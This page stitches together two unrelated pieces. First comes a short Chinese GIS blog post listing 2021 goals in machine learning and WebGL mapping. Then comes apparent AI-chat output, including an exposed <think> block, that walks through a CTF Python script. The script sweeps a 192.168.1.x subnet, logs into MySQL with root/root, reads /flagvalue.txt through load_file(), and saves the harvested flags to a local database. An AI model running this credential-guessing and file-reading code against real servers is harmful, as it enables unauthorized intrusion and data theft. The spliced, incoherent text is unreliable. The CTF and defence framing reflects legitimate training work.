2021给自己立个Flag


方向一:机器学习

定个小目标(挖个坑),使用机器学习技术,根据影像地图自动提取建筑物轮廓,用开源库实现。


方向二:地图可视化

研究 WebGL 技术,切入点 MapboxGL、Three.js、deck.gl

这个暂时还没有想好该如何挖坑,就先插个旗子,遇坑填坑


以上两个方向,有阶段性成果,或填坑心得时,会写出来和大家分享。

最后祝大家在新的一年里,写代码没有bug,牛气冲天,工资翻倍!


原文地址:http://gisarmory.xyz/blog/index.html?blog=GISer2021Flag

关注公众号《GIS兵器库》, 第一时间获得更多高质量GIS文章。

本文章采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。欢迎转载、使用、重新发布,但务必保留文章署名《GIS兵器库》(包含链接: http://gisarmory.xyz/blog/),不得用于商业目的,基于本文修改后的作品务必以相同的许可发布。

<think>我们正在分析一个用于从MySQL数据库中获取flag的Python脚本。根据引用[3]的代码,该脚本尝试通过MySQL漏洞读取文件并获取flag。 代码分析: 1. 主循环:遍历IP地址192.168.1.1到192.168.1.253(即i从1到254,但不包括254,因为range(1,254)是1到253)。 2. 对于每个IP地址,调用MySQL_Connect函数。 3. MySQL_Connect函数: - 尝试使用用户名"root"和密码"root"连接到目标IP的"mysql"数据库。 - 如果连接成功,则尝试执行SQL查询:`select load_file('/flagvalue.txt');` 这个函数用于读取服务器上的文件。 - 如果查询成功,将读取的结果(即文件/flagvalue.txt的内容)作为flag,同时记录目标IP。 - 然后调用Mysql_Inject函数,将目标IP和flag插入到本地数据库(127.0.0.1上的数据库"python"的表"py"中)。 4. Mysql_Inject函数: - 连接本地数据库(127.0.0.1,用户root,密码123456,数据库python)。 - 构建插入语句,将IP和flag插入到表py中。 因此,获取flag的方法是通过MySQL的`load_file`函数读取目标服务器上的文件`/flagvalue.txt`。这需要满足以下条件: - 目标MySQL服务器允许远程连接(且我们尝试的IP地址中有MySQL服务)。 - 目标MySQL服务器的root用户密码为"root"(因为代码中使用了这个密码)。 - 目标MySQL服务器具有读取文件`/flagvalue.txt`的权限(通常需要MySQL有FILE权限,并且该文件对MySQL用户可读)。 注意:这个脚本利用了弱密码(root/root)和MySQL的FILE权限来读取文件。 如果用户想要在自己的环境中使用这个脚本,需要: - 修改目标IP范围(当前是192.168.1.0/24网段)以匹配目标环境。 - 确保本地数据库(127.0.0.1)中存在名为“python”的数据库,并且其中有表“py”(包含两个字段,用于存储IP和flag)。 - 确保本地数据库的用户名和密码正确(当前为root/123456)。 但是,请注意,未经授权尝试访问他人的计算机系统是非法的。此代码仅用于CTF比赛或授权测试。 根据引用[3],我们还可以看到,这个脚本在CTF比赛中使用,用于自动化地从一个网络中的多个MySQL服务器中获取flag(假设这些服务器存在弱密码漏洞并且flag存放在/flagvalue.txt文件中)。 因此,获取flag的核心方法就是利用弱密码登录MySQL,然后通过`load_file`函数读取flag文件。 相关问题: 1. 如何防御这种类型的攻击? 2. 除了使用弱密码,还有哪些常见的MySQL漏洞可以利用? 3. 在CTF比赛中,还有哪些其他获取flag的常见方法?</think>### 分析Python代码获取flag的方法 以下是对引用[3]中Python代码的逐段分析,核心是通过MySQL漏洞获取flag: 1. **主循环结构** 遍历IP段192.168.1.1~192.168.1.253,对每个IP发起攻击: ```python for i in range(1,254): ip = '192.168.1.%s'%i MySQL_Connect(ip) # 对每个IP调用连接函数 ``` 2. **MySQL连接函数** 尝试用弱密码`root/root`登录目标MySQL服务器: ```python def MySQL_Connect(ip): try: db = MySQLdb.connect(ip,"root","root","mysql") # 使用默认凭据 cursor = db.cursor() except: pass # 连接失败则跳过 ``` 3. **关键漏洞利用** 通过`load_file()`读取服务器上的flag文件: ```python cursor.execute("select load_file('/flagvalue.txt');") # 读取指定路径文件 result = cursor.fetchall() flag = result[0][0] # 提取第一行第一列作为flag ``` 4. **结果存储** 将获取的flag回传到攻击者数据库: ```python Mysql_Inject(ip,flag) # 调用存储函数 print "get %s flag!"%ip # 打印成功信息 ``` 5. **数据持久化** 将flag存入本地MySQL数据库: ```python def Mysql_Inject(ip,flag): db = MySQLdb.connect("127.0.0.1","root","123456","python") cursor.execute("insert into py values(\"%s\",\"%s\");"%(ip,flag)) db.commit() # 提交事务 ``` ### 攻击原理总结 1. **攻击面**:利用MySQL服务的**弱密码漏洞**(root/root) 2. **漏洞利用**:通过`load_file()`函数**读取服务器文件**(需FILE权限) 3. **目标文件**:预设路径`/flagvalue.txt` 4. **数据回传**:将窃取的flag存入本地数据库表`py` ### 防御建议 - 修改MySQL默认凭据 - 限制`FILE`权限和`load_file()`使用 - 设置文件系统权限保护flag文件 - 使用网络隔离防止内网扫描 --- ### 相关问题 1. MySQL的`load_file()`函数有哪些安全风险?如何防范? 2. 在CTF比赛中,除了弱密码攻击,还有哪些常见的数据获取方式? 3. 如何通过Python代码检测MySQL服务的弱密码漏洞? 4. 若flag文件路径未知,有哪些自动化探测方法? [^1]: Python标志(Python flag)的含义及用法 [^2]: 遗传算法详解python代码实现以及实例分析 [^3]: CTF比赛中使用Python通过Mysql漏洞获取FLAG
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值